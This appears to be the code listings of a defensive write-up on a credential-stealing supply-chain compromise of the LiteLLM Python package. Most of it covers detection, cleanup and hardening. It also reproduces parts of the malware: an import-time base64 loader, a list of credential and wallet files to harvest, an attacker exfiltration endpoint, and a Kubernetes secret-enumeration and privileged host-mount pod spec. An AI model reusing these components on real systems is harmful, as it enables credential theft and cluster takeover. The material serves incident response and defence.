LiteLLM Hit by Credential-Stealing Supply Chain Attack: Complete Technical Breakdown

# Injected at module import — 12 obfuscated lines
# Simplified for educational analysis. DO NOT USE.
import os, subprocess, sys, base64

# Double base64-encoded payload, invisible to naive grep
_payload = "aW1wb3J0IG9zLCBzdWJwcm9jZXNz..."  # truncated

# Executed on module import — no user interaction needed
subprocess.Popen(
    [sys.executable, "-c",
     f"import base64; exec(base64.b64decode('{_payload}'))"],
    stdout=subprocess.DEVNULL,
    stderr=subprocess.DEVNULL,
    close_fds=True   # detached from parent process
)

# Method 1: Check if you have the malicious package installed
pip show litellm
# Look for Version: 1.82.7 or 1.82.8

# Method 2: Look for the .pth file in site-packages
python -c "import site; print(site.getsitepackages())"
# Then check that directory for litellm_init.pth
find / -name "litellm_init.pth" 2>/dev/null

# Method 3: Download and inspect the wheel without installing
pip download litellm==1.82.8 --no-deps -d /tmp/check
python3 -c "
import zipfile, os
whl = '/tmp/check/' + [f for f in os.listdir('/tmp/check') if f.endswith('.whl')][0]
with zipfile.ZipFile(whl) as z:
    pth = [n for n in z.namelist() if n.endswith('.pth')]
    print('PTH files found:', pth)
    for p in pth:
        print(z.read(p)[:300])
"

# Method 4: Check for persistence indicators
ls -la ~/.config/sysmon/
systemctl --user list-units | grep sysmon
kubectl get pods -A | grep node-setup

# This illustrates what the harvester collects — for defensive understanding
targets = {
    "ssh_keys": ["~/.ssh/id_rsa", "~/.ssh/id_ed25519", "~/.ssh/*"],
    "aws":      ["~/.aws/credentials", "~/.aws/config"],
    "gcp":      ["~/.config/gcloud/application_default_credentials.json"],
    "azure":    ["~/.azure/accessTokens.json", "~/.azure/azureProfile.json"],
    "k8s":      ["~/.kube/config"],
    "env_files":["env", ".env.local", ".env.production"],
    "db_configs":["database.yml", "config/database.yml"],
    "crypto":   ["~/.bitcoin/wallet.dat", "~/.ethereum/keystore/*"],
    "env_vars": dict(os.environ),       # All environment variables
    "cloud_imds":"http://169.254.169.254/",  # AWS/GCP/Azure IMDS
}

# Data encrypted with AES-256-CBC + RSA-4096 session key
# Bundled as tpcp.tar.gz, exfiltrated to attacker C2
exfil_endpoint = "https://models.litellm.cloud/"  # NOT the real litellm.ai

# If /var/run/secrets/kubernetes.io/serviceaccount/token exists
import kubernetes

# Enumerate ALL secrets across ALL namespaces
v1 = kubernetes.client.CoreV1Api()
secrets = v1.list_secret_for_all_namespaces()

# Deploy privileged pod to EVERY node in kube-system
privileged_pod = {
    "apiVersion": "v1",
    "kind": "Pod",
    "metadata": {"name": "node-setup-XXXX", "namespace": "kube-system"},
    "spec": {
        "containers": [{
            "image": "alpine:latest",
            "securityContext": {"privileged": True},  # Full host access
            "volumeMounts": [{
                "name": "host",
                "mountPath": "/host"  # Entire host filesystem
            }]
        }],
        "volumes": [{"name": "host", "hostPath": {"path": "/"}}]
    }
}

# Persistence path (local machine)
~/.config/sysmon/sysmon.py

# Installed as systemd user service
~/.config/systemd/user/sysmon.service

# C2 polling endpoint
checkmarx.zone/raw   # Reuses KICS attack infrastructure

# On Kubernetes: privileged pod on every node in kube-system
# Pod name pattern: node-setup-* in kube-system namespace
kubectl get pods -n kube-system | grep node-setup

# Check all virtual environments on the system
find / -name "site-packages" -type d 2>/dev/null | while read dir; do
    version=$(pip show litellm --path "$dir" 2>/dev/null | grep Version)
    if [ ! -z "$version" ]; then
        echo "Found litellm in $dir: $version"
    fi
done

# For Python projects, check if litellm is a transitive dep
pip show litellm
pip show litellm | grep Requires-Dist

# Check Docker images (run in your CI/CD)
docker run --rm <your-image> pip show litellm

# Check conda environments
conda list litellm

# Scan your requirements.lock for the compromised hash
grep -r "litellm" requirements*.txt poetry.lock Pipfile.lock

# Quick version check
pip show litellm

# Check for .pth IOC
python -c "import site; [print(d) for d in site.getsitepackages()]"
# Look in those directories for litellm_init.pth

# Check for persistence backdoor
ls ~/.config/sysmon/ 2>/dev/null
systemctl --user status sysmon 2>/dev/null

# Check K8s (if applicable)
kubectl get pods -n kube-system -l app=node-setup 2>/dev/null

# Uninstall compromised LiteLLM
pip uninstall litellm -y

# Remove the .pth backdoor manually (uninstall may miss it)
python -c "
import site, os
for d in site.getsitepackages():
    pth = os.path.join(d, 'litellm_init.pth')
    if os.path.exists(pth):
        print(f'Removing: {pth}')
        os.remove(pth)
"

# Remove persistence mechanisms
systemctl --user stop sysmon 2>/dev/null
systemctl --user disable sysmon 2>/dev/null
rm -rf ~/.config/sysmon/
rm -f ~/.config/systemd/user/sysmon.service
systemctl --user daemon-reload

# Remove any K8s artifacts
kubectl delete pods -n kube-system -l app=node-setup 2>/dev/null

# Clean any temp exfil files
rm -f /tmp/tpcp.tar.gz /tmp/collected*

# Install clean version
pip install litellm==1.82.6  # Last confirmed safe version

# Check DNS resolution history / firewall logs for C2 domains
# Block these at your network perimeter immediately:
# models.litellm.cloud
# checkmarx.zone

# Check system network connections
ss -tunp | grep -E "litellm|sysmon|5353"
netstat -an | grep "ESTABLISHED"

# Review recent outbound connections in cloud provider logs
# AWS: CloudTrail, VPC Flow Logs
# GCP: Cloud Audit Logs, VPC Flow Logs
# Azure: Azure Monitor, NSG Flow Logs

# Generate a hash-verified requirements file
pip-compile --generate-hashes requirements.in -o requirements.txt

# Install ONLY verified hashes — prevents tampered packages
pip install --require-hashes -r requirements.txt

# Example output in requirements.txt:
# litellm==1.82.6 \
#     --hash=sha256:abc123...exact_hash \
#     --hash=sha256:def456...alt_hash

# For Poetry users
poetry lock  # Always commit poetry.lock to source control
poetry install --frozen  # Refuse to install if lock file doesn't match

import zipfile, hashlib, subprocess, sys, os

def verify_wheel_against_source(wheel_path: str, package: str, version: str):
    """
    Compare files in a downloaded wheel against the upstream GitHub source.
    Flag any files present in the wheel but absent from GitHub.
    """
    with zipfile.ZipFile(wheel_path) as whl:
        wheel_files = set(whl.namelist())

    # Clone the repo at the tagged version
    subprocess.run([
        "git", "clone", "--depth=1", "--branch", version,
        "https://github.com/BerriAI/litellm", "/tmp/litellm_source"
    ], check=True)

    source_files = set()
    for root, dirs, files in os.walk("/tmp/litellm_source"):
        for f in files:
            source_files.add(os.path.relpath(os.path.join(root, f), "/tmp/litellm_source"))

    # Find files in wheel not in source — a major red flag
    suspicious = wheel_files - source_files - {"RECORD", "WHEEL", "METADATA"}
    if suspicious:
        # This would have caught litellm_init.pth immediately
        print(f"⚠️  FILES IN WHEEL NOT IN SOURCE: {suspicious}")
        sys.exit(1)
    print("✓ Wheel contents match source repository")

verify_wheel_against_source("litellm-1.82.8-py3-none-any.whl", "litellm", "v1.82.8")

# .github/workflows/publish.yml
# Trusted Publishers use OIDC — no PYPI_PUBLISH token to steal
name: Publish to PyPI
on:
  release:
    types: [published]

jobs:
  publish:
    runs-on: ubuntu-latest
    permissions:
      id-token: write   # Required for Trusted Publishers
      contents: read
    steps:
      - uses: actions/checkout@v4
      - name: Build
        run: pip install build && python -m build
      - name: Publish
        uses: pypa/gh-action-pypi-publish@release/v1
        # No api-token needed — OIDC handles auth
        # This would have prevented TeamPCP from using a stolen token

# ❌ WRONG — floating tag, vulnerable to tag hijacking (how LiteLLM was hit)
- uses: aquasecurity/trivy-action@latest

# ✅ CORRECT — pin to immutable commit SHA
- uses: aquasecurity/trivy-action@a20de5420d57c4102486cdd9349b532bf5b16c5d
  with:
    scan-type: "fs"
    scan-ref: "."

# Also pin apt/brew installed tools via explicit version + checksum
- name: Install Trivy (pinned)
  run: |
    TRIVY_VERSION="0.68.0"   # Last known safe
    TRIVY_SHA="abc123..."
    curl -LO "https://github.com/aquasecurity/trivy/releases/download/v${TRIVY_VERSION}/trivy_${TRIVY_VERSION}_Linux-64bit.tar.gz"
    echo "${TRIVY_SHA} trivy_${TRIVY_VERSION}_Linux-64bit.tar.gz" | sha256sum -c